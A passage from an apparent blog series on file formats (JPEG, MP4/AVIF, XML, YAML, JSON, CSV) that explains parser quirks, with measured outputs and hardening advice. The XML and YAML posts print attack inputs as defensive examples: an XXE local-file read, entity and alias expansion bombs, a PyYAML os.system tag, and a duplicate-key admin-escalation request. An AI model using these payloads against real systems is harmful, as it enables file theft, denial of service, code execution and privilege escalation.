Everything structural fits in the first 623 bytes. The remaining 42,000 are entropy-coded scan data with no framing at all, which creates one last problem: if a Huffman code happens to emit the byte 0xFF, a decoder scanning for markers would misread it. So the encoder stuffs a 0x00 after every literal 0xFF, and the decoder throws it away. This file contains 504 of those.

What To Do About It
- Never move a quality number between tools. Quality 80 in Photoshop, cjpeg, sips, and ffmpeg are four unrelated things. If you are porting a pipeline, re-tune by measuring output size or error, not by copying the integer.
- Turn off chroma subsampling for anything with saturated color edges. Logos, screenshots, charts, text. -sample 1x1 in cjpeg, subsampling=0 in Pillow. Leave 4:2:0 on for photographs, where it is nearly free.
- Use jpegtran for rotations and crops. -rotate, -flip, -crop, and -perfect operate on coefficients and cost nothing.
- Stop worrying about generation loss and start worrying about generation one. The first save is where the damage is. Keep the original.
- Don’t put a JPEG in the middle of a pipeline. Every intermediate step should be PNG or the raw source. JPEG is an output format.
- Strip the metadata deliberately. APP1 holds Exif, which holds GPS coordinates, camera serial numbers, and an embedded thumbnail. Some editors update the pixels and leave the old thumbnail in place, so the crop you made survives only in the big version.
The interesting thing about JPEG is not that it is lossy. Everyone signed up for lossy. It is that the one control the format exposes to users, the quality number, is not part of the format, has no defined meaning, and is quietly reinterpreted by every tool that offers it. You are not setting the quality. You are picking a preset out of a list you cannot see.

Sources
- ITU-T T.81 / ISO/IEC 10918-1 — the core JPEG specification; Annex K holds the example quantization tables everybody scales
- ITU-T T.871 — JFIF, standardized in 2011, nineteen years after the industry started shipping it
- W3C copy of the JFIF 1.02 specification — the original C-Cube document from September 1992
- Independent JPEG Group — libjpeg, whose quality-to-table formula became the de facto meaning of the number
- libjpeg-turbo — what almost everything actually links against today
I’d appreciate a follow. You can subscribe with your email below. The emails go out once a week, or you can find me on Mastodon at @[email protected].
Aug 24, 2026 Programming File-formats Compression Jpeg Images

Enjoyed this?
An AVIF Is an MP4 With One Frame
XML’s answer to structure was a schema language, a query language, and a namespace system. MP4’s answer is eight bytes, and it turned out to be enough to absorb an entire industry. Every byte in the file lives inside a box, and every box starts the same way:
```
4 bytes   size, big-endian, including this header
4 bytes   type, four ASCII characters
```
That is it. Eight bytes, and any parser that knows nothing else about the format can walk the entire file, skipping what it doesn’t understand. Some boxes contain other boxes. Some contain payload. There is no data outside a box anywhere in the file.

That design is why the container outgrew video entirely.

Same Header, Different Extension

Here is a ten-second 640x360 H.264 clip:
```
ftyp  32 bytes  @ 0
free  8 bytes  @ 32
mdat  63602 bytes  @ 40
moov  4424 bytes  @ 63642
```
Here is a three-second AAC audio file:
```
ftyp  28 bytes  @ 0
free  8 bytes  @ 28
mdat  26304 bytes  @ 36
moov  1287 bytes  @ 26340
```
And here is a still image:
```
ftyp  32 bytes  @ 0
meta  235 bytes  @ 32
  hdlr  33 bytes  @ 44
  pitm  14 bytes  @ 77
  iloc  30 bytes  @ 91
  iinf  40 bytes  @ 121
  iprp  106 bytes  @ 161
    ipco  75 bytes  @ 169
    ipma  23 bytes  @ 244
mdat  17667 bytes  @ 267
```
That last one is an AVIF. A photograph. It has the same box header format, the same ftyp first, the same mdat holding the payload. What changed is that a still image has no timeline, so instead of moov with its sample tables it uses meta with an item structure: pitm names the primary item, iloc says where in mdat that item’s bytes live, iprp carries its properties.

The ftyp box says which dialect you are reading:
```
$ xxd -g 1 -l 32 shot.avif
00000000: 00 00 00 20 66 74 79 70 61 76 69 66 00 00 00 00  ... ftypavif....
00000010: 61 76 69 66 6d 69 66 31 6d 69 61 66 4d 41 31 42  avifmif1miafMA1B
```
Size 32, type ftyp, major brand avif, then four compatible brands: avif, mif1, miaf, MA1B. The .m4a file above declares M4A with isom as a compatible brand. The MP4 declares isom with iso2.

So .mp4, .mov, .m4a, .m4v, .heic, and .avif are one format with six extensions. Your iPhone photo library and your video library are the same container. That happened because in February 1998, ISO picked Apple’s QuickTime file format as the basis for MPEG-4’s container, and the box model turned out to be general enough that everyone who needed a container afterward just used it.

The Box in the Wrong Place

Now the flaw that shaped an entire decade of web video.

The moov box holds the sample tables: which frame starts at which byte, how long it lasts, which chunk it belongs to. mdat holds the frames. A player can decode nothing until it has read moov, because mdat has no internal framing at all. It is one undifferentiated run of bytes, and the only thing that says where frame 0 begins is a number inside moov.

Look at where moov ended up in that first file. Byte 63,642 of a 68,066-byte file.

An encoder writing sequentially cannot know the byte offset of the last chunk until it has written the last chunk, so the natural thing is to write all of mdat and then append moov at the end. That is what nearly every encoder did by default, and it means the player must reach the last 6% of the file before it can show you the first frame.

The fix is a post-processing pass:
```
$ ffmpeg -i input -c:v libx264 -movflags +faststart out.mp4
```
```
ftyp  32 bytes  @ 0
moov  4424 bytes  @ 32
free  8 bytes  @ 4456
mdat  63602 bytes  @ 4464
```
Same boxes. Same sizes. Same total file length, 68,066 bytes both times, and I checked the mdat payloads byte for byte: identical. All that changed is the order.

It is not quite a memmove, though, because moov’s offsets are absolute positions in the file:
```
plain.mp4    stco has 1 chunk offsets; first five: [48]
fast.mp4     stco has 1 chunk offsets; first five: [4472]
```
Moving moov in front of mdat pushed every byte of media 4,424 places later, so every entry in the chunk offset table had to be rewritten by exactly that amount. On a real file with thousands of chunks, that is thousands of pointers, all of which must be corrected, and if the rewrite changes the size of moov (32-bit offsets overflowing into co64) the whole thing has to be recomputed again.

Absolute offsets are the design decision underneath most of MP4’s awkwardness. You cannot concatenate two MP4s. You cannot insert a second of video in the middle. You cannot append to a file that is still being written and have it remain playable. Everything is pointer arithmetic against byte zero.

Fragments Are the Actual Answer

Fragmented MP4 fixes it by giving up on the single index. Instead of one moov describing the whole timeline, you get an initialization segment and then a run of self-describing chunks:
```
[ ftyp + moov ]  [ moof + mdat ]  [ moof + mdat ]  [ moof + mdat ] ...
```
Each moof carries the sample table for the mdat that follows it, with offsets relative to the fragment rather than the file. Which means you can start writing before you know how long the video is, cut the stream anywhere, serve any fragment independently, and switch bitrates between fragments without the player noticing.

That property is the entire basis of HLS and DASH. Every adaptive-bitrate stream you have watched is this: a manifest, an init segment, and a pile of moof/mdat pairs that a player stitches together while quietly swapping quality levels based on your bandwidth.

It also means the moov placement problem is now mostly historical for streaming and still completely current for files. Anything you upload, download, or store as a single .mp4 still has one moov, and it is still in whichever place the encoder happened to put it.

What To Do About It
- Always pass -movflags +faststart when producing MP4 for the web. It costs one extra pass over the file at encode time and nothing at all afterward.
- Check where moov landed before blaming the network. Eight bytes of parsing tells you: read the size at offset 0, jump, read the type, repeat. If moov is last, that is your slow start.
- Use fMP4 for anything live or adaptive. A single-file MP4 cannot be written and played at the same time, no matter how you order the boxes.
- Don’t concatenate MP4 files. cat a.mp4 b.mp4 > c.mp4 produces a file whose first moov describes only the first video and whose second moov has offsets pointing into the wrong place. Remux with ffmpeg -f concat instead.
- Treat .heic and .avif as the same problem space. If your image pipeline calls identify or sniffs magic bytes, those files start with a box header, not a signature, and the four bytes that matter are at offset 4 rather than offset 0.
- Read ftyp compatible brands, not the extension. A file named .mp4 can declare qt , and a file named .mov can declare isom. The brands are the truth.
Everything in this series so far has failed by underspecifying something. MP4 does not have that problem. The box model is rigorous, self-describing, and general enough that it absorbed still images without anyone having to redesign it. What it got wrong was one thing: it wrote down byte offsets instead of relative ones, and made the index a single object that has to be complete before it can be written. Two decades of streaming infrastructure exist to work around that decision.

Sources
- ISO/IEC 14496-12 — the ISO Base Media File Format; the box definition is clause 4.2
- MP4 Registration Authority — the registry of every legal FourCC brand and box type
- Apple’s QuickTime File Format documentation — the atom model MP4 inherited
- AVIF specification — how AV1 intra frames map onto ISOBMFF items
- RFC 8216 — HTTP Live Streaming, which is fMP4 plus a text manifest
- ffmpeg movflags documentation — +faststart and the fragmentation options
I’d appreciate a follow. You can subscribe with your email below. The emails go out once a week, or you can find me on Mastodon at @[email protected].
Aug 23, 2026 Programming File-formats Mp4 Video Streaming

Enjoyed this?
Every XML Feature Is One You Turn Off
Last post ended on a question. XML is the format in this series that specified everything, so what did all that specifying buy?

An answer for every question, and an attack surface made entirely of answers.

The other formats in this series failed by leaving things out. CSV never had a standard. JSON declined to say what a number means. YAML wrote the rules down and then most implementations kept using the old ones. XML failed the other way. It defined a schema language, a query language, a transformation language, a namespace system, and an entity system, and the entity system will read files off your disk.

Two Kinds of Correct

Start with something XML got right, because it is the only format here that made this distinction at all.

The specification defines two separate bars:

A data object is an XML document if it is well-formed, as defined in this specification. In addition, the XML document is valid if it meets certain further constraints.

Well-formed is syntax. Tags match, there is one root, attributes are quoted. Valid is semantics: the document declares a schema and conforms to it.

CSV has neither concept. JSON has only the first one. XML separated them in 1998, which was ahead of its time, and then almost nobody used the second one. Most XML in production is well-formed and unvalidated, which means it has exactly the same guarantees as JSON with more punctuation.

The Entity System

XML documents are built from entities. Five are predefined, and you know them:
```
&amp;  &lt;  &gt;  &quot;  &apos;
```
You can also declare your own in the document type declaration, which is how you get constants in a config file. And an entity can be declared to pull its content from somewhere else:
```
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///tmp/xmltest/secret.txt">
]>
<foo>&xxe;</foo>
```
That is a legal XML document. SYSTEM means “go get it.” Here is what a parser does with it:
```
ElementTree  ParseError: undefined entity &xxe;
lxml         XMLSyntaxError: Entity 'xxe' not defined
defusedxml   EntitiesForbidden(name='xxe', system_id='file:///tmp/xmltest/secret.txt')
lxml, resolve_entities=True    'SECRET-CANARY-12345\n'
```
The first three refuse. The fourth read a file off the disk and put its contents in the document tree.

The difference between the second line and the fourth is one keyword argument. Not a patch, not an old version, not a misconfiguration. A parser option, on a current library, named after something that sounds like ordinary XML processing. Of course you want entities resolved. Entities are how the format works.

This is XXE, and it is not a bug in any implementation. Every one of those parsers is behaving as specified. The specification says an external entity is fetched, so the ones that fetch it are correct and the ones that refuse are deliberately non-conforming for your safety.

The Bomb That Got Fixed

The same entity system nests, which produces the XML version of the billion laughs attack:
```
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
]>
```
Each level multiplies by ten. A 291-byte file at three levels expands to 3,000 characters. Add two more levels and the arithmetic says 300,000, and the file is still under 500 bytes.

Except it doesn’t, and this is the part worth reporting honestly. At five levels, current libxml2 stops:
```
XMLSyntaxError: Maximum entity amplification factor exceeded,
see xmlCtxtSetMaxAmplification
```
It refuses even with resolve_entities=True. Somebody went and put a ratio limit in the parser, and it works. Compare that to YAML, where safe_load still expands aliases without complaint, and the equivalent 202-byte payload produced 74,732 nodes with no objection at all.

So the XML ecosystem fixed the denial-of-service and left the file-read one flag away. That ordering tells you something about which failure people actually hit.

What the Rest of It Bought

XML shipped an enormous amount of specification, and the pieces are individually good:
- XSD defines 19 primitive datatypes with real inheritance, so <price>12.50</price> can be a decimal rather than a hopeful string. This is precisely what CSV lacks and what JSON refuses to commit to.
- XPath addresses any node in a document without writing a traversal.
- XSLT transforms one document into another declaratively.
- Namespaces let two vocabularies coexist in one file without colliding, which is the problem every format in this series either ignores or solves with a naming convention.
None of that is bad engineering. Read the list again and notice that it is a description of the problems the other five posts were about. XML solved them. In 1998.

The cost was that using XML correctly means knowing which parts to switch off, and the defaults were set in an era that assumed documents came from people you knew. Every hardening guide for XML is a list of features to disable: no DTDs, no external entities, no network access, no schema fetching.

There is a version of this where the lesson is “XML was too complicated.” I don’t think that’s it. The formats that replaced it are simpler and they have the same problems, plus the ones XML had already solved. Nobody misses XSLT, and everybody has now written their own worse version of it.

What To Do About It
- Disable DTD processing entirely unless you know you need it. In Python that is defusedxml; in Java it is disallow-doctype-decl. This closes XXE and entity expansion in one move.
- Never enable resolve_entities on input you did not write. It is the single flag that turns a parser into a file reader.
- Validate against a schema at the trust boundary, not just parse. Well-formed is not a security property. It is barely a correctness property.
- Stream large documents. SAX and StAX read in constant memory; DOM builds the whole tree first, which is its own denial of service if the document is attacker-sized.
- Know your parser’s defaults and pin them explicitly. They have changed over time, usually toward safety, and code that relies on a safe default is one dependency upgrade from a different one.
XML answered every question these posts have raised. It has types, a validation model, a query language, and a namespace system, and it had all of them a decade before the formats that replaced it. What it could not do was make the safe path the default one, and that turned out to matter more than any of the rest of it.

That is the actual pattern across this whole series. Not that formats are underspecified or overspecified, but that the defaults are the specification most people ever use.

Sources
- XML 1.0 (Fifth Edition) — 26 November 2008; the well-formed and valid definitions, and the five predefined entities
- XML 1.0 (First Edition) — 10 February 1998, the original Recommendation
- XML 1.1 — 4 February 2004; the revision almost nobody adopted
- XSD 1.1 Part 2: Datatypes — the 19 primitive datatypes
- OWASP XXE Prevention Cheat Sheet — per-parser hardening settings
- defusedxml — the Python library that turns the dangerous parts off for you
I’d appreciate a follow. You can subscribe with your email below. The emails go out once a week, or you can find me on Mastodon at @[email protected].
Aug 22, 2026 Programming security File-formats Parsing Xml

Enjoyed this?
Norway Is Not a Boolean
JSON’s problem is that its specification is too small. It tells you 9007199254740993 is a well-formed number and then declines to say which number.

YAML went the other way. The 1.2.2 specification is a book. It has a formal grammar, a chapter on recommended schemas, and an answer for nearly everything. And it will still read your config file and decide, without asking, that Norway is false.

The Norway Problem

Here is a config file. Every value in it is a string that a human would read as a string.
```
country: NO
duration: 1:20
mode: 0755
```
Three parsers, on those exact bytes:
```
PyYAML 6.0.3   {'country': False, 'duration': 80,     'mode': 493}
ruamel.yaml    {'country': 'NO',  'duration': '1:20', 'mode': 755}
js-yaml        {"country":"NO",   "duration":"1:20",  "mode":755}
```
NO is the ISO 3166 code for Norway. PyYAML returns the boolean false, because YAML 1.1 recognized twenty-two spellings of true and false, and NO is one of them. The spec lists them as a single regular expression:
```
y|Y|yes|Yes|YES|n|N|no|No|NO
|true|True|TRUE|false|False|FALSE
|on|On|ON|off|Off|OFF
```
Count them. Twenty-two. Six of those are country codes, single letters, or ordinary English words that appear in real data. Nothing in the file said “this is a boolean.” The parser inferred it from the shape of the text, and the shape of the text was two letters.

1:20 became 80 because YAML 1.1 supported sexagesimal integers, so a duration is read as base 60. One times sixty, plus twenty.

0755 became 493 because a leading zero meant octal. That is a file mode that no longer means what it says.

It Was Fixed in 2009

This is the part that makes YAML different from the other formats in this series.

CSV never had a standard. Markdown had too many. YAML had exactly one problem, everybody agreed it was a problem, and the working group fixed it. YAML 1.2 arrived in 2009 and threw all of it out. Base 60 is gone. Implicit octal is gone. The Core schema recognizes true and false and their case variants, and nothing else.

Seventeen years later, the two YAML 1.2 parsers above return strings, and PyYAML returns False.

PyYAML implements YAML 1.1. It is the default YAML library for Python, it is what pip install pyyaml gives you, and the specification it implements was superseded when the iPhone 3GS was current. The fix exists. It shipped. Most of the ecosystem simply stayed where it was, because changing the type of NO in a minor release breaks every config file that relied on it.

A format can be fixed and still be broken, if the fix arrives after the implementations do.

Everything Else That Isn’t a String

The country-code case is famous. It is not the only one, and the rest are quieter:
```
version: 1.10   ->  1.1        (float, and .10 became .1)
build: 010      ->  8          (octal)
port: 8080      ->  8080       (int, fine, until you concatenate it)
answers: [y, n] ->  ['y', 'n'] (strings)
answers: [yes, no] -> [True, False]
```
The first one is the one that should bother you. A semantic version of 1.10 parses as the float 1.1, which is a different version, and it does it silently in a file whose entire job is to record which version you meant.

And note the last two lines. y and n stay strings in PyYAML while yes and no become booleans, because PyYAML’s resolver implements a narrower set than the 1.1 spec’s regexp advertises. So the answer to “does this parser coerce single letters” is neither yes nor no. It is “some of them, and you have to test.”

Two Ways to Weaponize the Convenience

YAML has anchors. You define a node once with &name and reference it with *name. It is a useful feature for config files with repeated blocks, and it composes.

That is the problem. It composes exponentially.
```
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
```
That file is 202 bytes. Expanding it produces 74,732 nodes, of which 59,049 are copies of the string lol. Add one more line and multiply by nine. This is the billion laughs attack, and the important detail is that safe_load does not stop it. Aliases are not a dangerous tag, they are a core language feature working as designed.

The second way is tags. YAML can annotate a node with a type, and PyYAML historically honored tags that construct arbitrary Python objects:
```
!!python/object/apply:os.system
args: ['id']
```
yaml.load() on untrusted input would run that. It became CVE-2017-18342, CVSS 9.8, published June 2018, with a description that is unusually blunt for the genre: “In PyYAML before 5.1, the yaml.load() API could execute arbitrary code if used with untrusted data.”

The fix took two releases and three years. PyYAML 5.1 deprecated the unsafe default in March 2019. PyYAML 6.0 finally made the Loader argument mandatory in October 2021, so the dangerous call stopped being the short one:
```
>>> yaml.load('a: 1')
TypeError: load() missing 1 required positional argument: 'Loader'
```
The vulnerability was published in 2018. Making the unsafe call harder to type than the safe one landed in 2021.

What To Do About It
- Quote anything that isn’t obviously a number. Country codes, versions, file modes, git SHAs, anything a human would call an identifier. Quoting is never wrong.
- Know which YAML version your parser speaks. If it is Python, assume 1.1 and the Norway problem unless you chose otherwise. ruamel.yaml gives you 1.2.
- Never call yaml.load on input you did not write. safe_load, always. On PyYAML 6 the language makes you say which you meant, which is the correct design.
- Bound the input. safe_load is not a defense against alias expansion. If you parse YAML you did not author, cap the document size before it reaches the parser.
- Use a schema. The value of a schema here is not validation, it is that it declares the type instead of letting the parser guess it from the characters.
YAML’s failure is the opposite of JSON’s, and it produces the same result. JSON declined to say what values mean, so implementations disagreed. YAML said what values mean in enormous detail, got it wrong in 2005, corrected it in 2009, and the correction never fully landed.

Next in this series is XML, which is the one format here that did specify everything. It has a schema language, a query language, a transformation language, and a namespace system. It is worth asking what all of that bought.

Sources
- YAML 1.2.2 Specification — October 2021; the schemas chapter and the rule that tabs “must not be used in indentation, since different systems treat tabs differently”
- YAML 1.1 Boolean type — the twenty-two-form regexp, working draft dated 2005
- CVE-2017-18342 — the yaml.load() RCE, CVSS 9.8
- PyYAML CHANGES — 5.1 (2019) deprecated the unsafe default, 6.0 (2021) made Loader required
I’d appreciate a follow. You can subscribe with your email below. The emails go out once a week, or you can find me on Mastodon at @[email protected].
Aug 21, 2026 Programming security File-formats Parsing Yaml

Enjoyed this?
Your JSON Parser Disagrees With Mine
Markdown has too many specs. CSV has one that nobody agreed to follow. JSON is supposed to be the happy ending: a grammar small enough to print on a business card, standardized twice over, and elevated to a full Internet Standard.

It is, and the parsers still disagree with each other about what your file says.

Not about whether it’s valid. About what the values are.

The Same Number, Three Answers

Here is a JSON document. It is unambiguously valid by every specification.
```
{"id": 9007199254740993}
```
Three parsers, on the same machine (Node 24.13.0, Python 3.13.12, jq 1.8.2), on those exact bytes:
```
node   : {"id":9007199254740992}
python : {"id": 9007199254740993}
jq     : {"id":9007199254740993}
```
Node gave back a different number than the one in the file. It didn’t error, didn’t warn, didn’t round-trip. The last digit changed from 3 to 2.

The reason is that JSON’s grammar allows a number to be any sequence of digits, but JavaScript represents every number as an IEEE 754 double. Above 2⁵³ the integers stop being exactly representable, and Number.MAX_SAFE_INTEGER is 9007199254740991. Our value is two past it.

This is not a JavaScript bug. Node is behaving exactly as specified. The specification simply declines to say how many digits a number may have, and every implementation answers that question with whatever its host language does.

Those version numbers matter, which is its own version of the problem. jq only began preserving decimal literals in 1.7, whose release notes list “use decimal number literals to preserve precision.” Run that same file through jq 1.6 and it goes through a double and hands you Node’s answer. The tool doesn’t just disagree with other parsers. It disagrees with its own past self.

If you have ever wondered why APIs send 64-bit IDs as strings, this is why. Twitter’s snowflake IDs, database primary keys, anything above 2⁵³ has to be quoted or it silently degrades in half the ecosystem.

Duplicate Keys Are Legal
```
{"role": "user", "role": "admin"}
```
RFC 8259 says names within an object should be unique. Should, not must. And it goes on to describe what happens otherwise as varying between implementations.

In practice:
```
node   : {"role":"admin"}
python : {"role": "admin"}
jq     : {"role":"admin"}
```
All three take the last one. That’s the common behavior, and it is not required.

The RFC itself spells out all three possibilities:

When the names within an object are not unique, the behavior of software that receives such an object is unpredictable. Many implementations report the last name/value pair only. Other implementations report an error or fail to parse the object, and some implementations report all of the name/value pairs, including duplicates.

That third option, keeping both, isn’t even representable in most languages’ object types. Nicolas Seriot tested parsers across a dozen languages against cases like this one and concluded there are “no two parsers that agree on what is wrong and what is right.”

Python will show you both if you ask:
```
raw pairs: [('role', 'user'), ('role', 'admin')]
```
The pairs are all there in the document. Choosing one is an interpretation layered on top of parsing.

Now put two parsers in one system. Apache CouchDB did, and it became CVE-2017-12635.

CouchDB used an Erlang parser for authentication and a JavaScript engine for the validation that runs when a document is written. The Erlang parser resolved duplicate keys to the first value. The JavaScript engine resolved them to the last. So a request like this:
```
{"roles": ["_admin"], ..., "roles": []}
```
was read by the write-time validation as an ordinary unprivileged user, because it saw the last roles key and found it empty. It was then read by the authentication layer as an administrator, because that saw the first one. Non-admin users could grant themselves admin.

CouchDB’s fix was to change the Erlang parser to take the last key, matching JavaScript. Not because last-wins is correct, but because agreeing is correct.

This is the JSON version of the ZIP two-index problem from a few posts back. When a format permits two answers to the same question, the gap between two components is where the vulnerability lives.

NaN Is Not JSON, and Python Emits It Anyway

JSON has no way to express not-a-number or infinity. The grammar has no room for them.

Python’s standard library writes them regardless:
```
>>> json.dumps({"a": float("nan"), "b": float("inf")})
'{"a": NaN, "b": Infinity}'
```
That output is not JSON. It’s Python’s default behavior, and it produces a file that other parsers reject or mangle. Feeding those exact bytes onward:
```
node : SyntaxError - Unexpected token 'N', "{"a": NaN, "b": "... is not valid JSON
jq   : {"a":null,"b":1.7976931348623157e+308}
```
Node’s response is correct and useful: this is not JSON, here’s where it broke.

jq’s response is the one that should worry you. It accepted the invalid document and made up values. NaN became null. Infinity became 1.7976931348623157e+308, the largest finite double. No error, no warning. If that ran in the middle of a data pipeline you would get numbers out the other end, and they would be wrong in a way no downstream check is likely to catch.

The same divergence shows up with a merely-enormous exponent, which is valid JSON:
```
input: {"v": 1e999}

node   : {"v":null}
python : {'v': inf}
jq     : {"v":1E+999}
```
Three parsers, one valid input, three different values. Node converts to infinity then serializes it as null because it can’t represent infinity on the way out. Python gives you a float infinity object. jq preserves the literal.

Why a Small Spec Doesn’t Save You

JSON’s specifications are good, and they are small. The problem is that they specify syntax, and almost every failure above is about semantics.

The grammar tells you 9007199254740993 is a well-formed number. It does not tell you what number it is, because that would require committing to a numeric model, and committing to a numeric model would have meant excluding some language from implementing JSON natively. The looseness is why JSON is everywhere. It is also why the same bytes mean different things in different places.

The standards process eventually acknowledged this. RFC 7493 defines I-JSON, a restricted profile that closes these holes: no duplicate names at all, numbers that should not exceed what an IEEE 754 double holds exactly, high-precision values recommended to travel as strings, and mandatory UTF-8. Only the duplicate-name rule is a hard MUST NOT, which tells you something about how much of this was still negotiable in 2015.

I-JSON is what most people think JSON already is. It exists as a separate document precisely because JSON isn’t that.

What To Do About It
- Send large integers as strings. Anything that could exceed 2⁵³: IDs, timestamps in nanoseconds, financial values in minor units.
- Reject duplicate keys at your trust boundary rather than letting your parser pick. Most libraries offer a hook.
- Don’t let a language’s default serializer decide whether it emits valid JSON. Python needs allow_nan=False to be honest.
- Validate before you transform. A parser that repairs invalid input is more dangerous than one that rejects it, because the repair is silent.
- Target I-JSON for anything crossing a system boundary. It costs nothing and removes the whole category.
JSON did not fail. It succeeded so completely that it got implemented hundreds of times by people reading a short document, and a short document leaves a lot of decisions to the reader. The format that’s easy to implement is the format that gets implemented differently everywhere.

That’s the same sentence I could have written about Markdown, and about CSV. The pattern across this whole series is that a format’s ambiguities don’t stay theoretical. They become somebody’s incident.

Sources
- RFC 8259 — the current JSON standard, and STD 90
- RFC 7493 — I-JSON, the profile that closes the interoperability holes
- ECMA-404 — the parallel Ecma grammar standard
- Nicolas Seriot, “Parsing JSON is a Minefield” — the systematic survey of parser disagreement
- JSONTestSuite — the executable test corpus behind that research, over 300 cases
- CouchDB’s writeup of CVE-2017-12635 — the duplicate-key privilege escalation, in the vendor’s own words
I’d appreciate a follow. You can subscribe with your email below. The emails go out once a week, or you can find me on Mastodon at @[email protected].
Aug 20, 2026 Programming Json File-formats Parsing Interoperability

Enjoyed this?
Nobody Agrees What a CSV Is
CSV is simple but powerful. Values, separated by commas. It’s easy to understand and use.

It is also, by a wide margin, the one that destroys the most data.

That’s not a paradox. It’s cause and effect. A format simple enough that everyone writes their own parser is a format with as many dialects as it has parsers, and CSV’s defining property is that it carries no information about how to read it.

There Is No Standard

RFC 4180 exists. Yakov Shafranovich published it in October 2005, it registers the text/csv media type, and it gives an ABNF grammar.

It is also Informational, not Standards Track. It was written to describe what people were already doing, twenty-odd years after spreadsheets started emitting it. Section 2 says so outright: there is “no formal specification in existence,” and what follows documents “the format that seems to be followed by most implementations.”

By the time someone wrote it down, every spreadsheet, database, and scripting language had already shipped its own interpretation. The RFC didn’t settle anything. It just added one more dialect, with the distinction of having a number.

Eight years later, RFC 7111 added URI fragments for pointing at a row, column, or cell inside a text/csv file. Also Informational. CSV still had no standard, but you could now cite a specific cell of one.

Where Does a Record End?

The obvious answer is “at the newline,” and the obvious answer is wrong, because a quoted field is allowed to contain one.
```
name,notes
Alice,"line one
line two"
Bob,fine
```
That’s a valid three-row CSV. Split it on newlines and you get four:
```
naive split gives 4 lines:
   'name,notes'
   'Alice,"line one'
   'line two"'
   'Bob,fine'

a real CSV parser gives 3 rows:
   ['name', 'notes']
   ['Alice', 'line one\nline two']
   ['Bob', 'fine']
```
Every head, wc -l, split("\n"), and shell pipeline that assumes one record per line is wrong on this file. Not wrong on a malformed file. Wrong on a correct one.

This is the single most common CSV bug, and it’s invisible in testing, because your test fixtures don’t have newlines in them until a user pastes an address into a form.

What’s the Delimiter?

In most of Europe the decimal separator is a comma. 12,50 is twelve and a half euros. Which means a comma cannot also be a field separator, so those locales use semicolons.

Feed a German CSV to an RFC 4180 parser and everything survives, in the sense that nothing throws:
```
input:  produkt;preis
        Kaffee;12,50
        Tee;9,90

parsed as comma-delimited:
   ['produkt;preis']
   ['Kaffee;12', '50']
   ['Tee;9', '90']

parsed as semicolon-delimited:
   ['produkt', 'preis']
   ['Kaffee', '12,50']
   ['Tee', '9,90']
```
The first reading gives you two columns of nonsense with no error. The prices split down the middle of the decimal point. A pipeline that ingests this will happily compute statistics on the number 12 and the number 50.

Excel picks the delimiter based on your operating system’s regional settings, which means the same file opens differently on two machines in the same office.

Is the First Row a Header?
```
1,2,3
4,5,6
```
Header or data? Nothing in the file says.

RFC 4180’s answer is that you put it in the MIME type: text/csv; header=present. Which is a real answer, and also means the information lives outside the file, in a transport layer that gets stripped the moment someone saves the attachment to disk.

So in practice every tool guesses, usually by checking whether the first row looks less numeric than the rest.

The Part That Destroys Data

Everything above is a parsing problem. This one is worse, because the file parses fine and the damage happens after.

CSV has no types. Every value is text. So every spreadsheet and dataframe library applies type inference on import, and type inference is lossy.

Here’s a file with four columns of identifiers, all of which are strings that happen to be made of digits:
```
gene,zip,card,accession
SEPT7,02138,4532012345678901,0004928
MARCH1,01234,4111111111111111,0000071
```
Read it with a type-inferring reader and:
```
  gene  zip             card  accession
 SEPT7 2138 4532012345678901       4928
MARCH1 1234 4111111111111111         71
```
The ZIP code 02138 is now 2138. The accession number 0004928 is now 4928. Nobody was asked. Nothing warned. Save that back to CSV and the original values are gone from disk.

Spreadsheets are worse than this, because they store every number as an IEEE 754 double. Microsoft is blunt about the consequence:

Excel has a maximum precision of 15 significant digits, which means that for any number containing 16 or more digits, such as a credit card number, any numbers past the 15th digit are rounded down to zero.

The example they reach for is a card number:
```
typed into a cell     1234 5678 9087 6543
Excel shows           1.23E+15
```
Microsoft calls that “truncating numerical data to 15 digits of precision and converting to a number displayed in scientific notation.” Note that this is the vendor describing its own product, not a bug report.

The card number in the file above is also 16 digits. pandas read it back intact. Excel would not.

Credit card numbers are 16 digits. Many national ID numbers are longer. They are not numbers in any meaningful sense, they’re strings of digits, and a format with no type information cannot tell the difference.

The Gene Name Problem

The best-documented case of this is genomics, because biologists name genes things like SEPT1 and MARCH1 and spreadsheets read those as dates.

In 2016 Ziemann and colleagues screened 35,175 supplementary Excel files from 18 journals covering 2005 to 2015. Among articles containing Excel gene lists, 19.6% had gene names corrupted this way. One in five.

A follow-up in 2021, “Gene name errors: Lessons not learned,” found 30.9% across a broader sample drawn from PubMed Central. Worth being careful comparing those two numbers directly, because the second study used a different sampling frame and also detected an additional error category the first one didn’t look for. The honest summary is that the problem did not go away in the five years after being loudly published.

The resolution is the remarkable part. The field did not fix the spreadsheets. It renamed the genes. The HUGO Gene Nomenclature Committee’s 2020 guidelines state that “all symbols that auto-converted to dates in Microsoft Excel have been changed,” giving SEPT1 becoming SEPTIN1 and MARCH1 becoming MARCHF1 as examples.

Human genes were renamed because a file format cannot say what type a column is.

What To Do About It

CSV isn’t going away, and mostly shouldn’t. It’s readable, streamable, diffable, and every tool on earth reads it.

The practical defenses are short:
- Quote everything. It’s never wrong and it removes a whole class of ambiguity.
- Treat identifiers as strings explicitly at the point of import. Every serious CSV reader lets you pin column types; use it.
- Never round-trip through a spreadsheet if the data contains identifiers. Opening and saving is a lossy operation.
- Say what you mean out of band. Delimiter, encoding, header presence, quoting style. The file will not.
- Use something else when you can. Parquet and even JSON Lines carry types. If the consumer is a program rather than a person, the readability argument for CSV mostly evaporates.
The lesson generalizes past CSV, and it’s the same one from the text file post. A format that carries no description of itself pushes that burden onto every reader, and readers guess. Usually well. Occasionally by silently deleting the leading zero from your ZIP code.

Sources
- RFC 4180 — the Informational spec that documents CSV rather than defining it
- RFC 7111 — URI fragment selectors for text/csv, January 2014
- Ziemann et al., “Gene name errors are widespread in the scientific literature” — Genome Biology, 2016; the 19.6% figure (free full text)
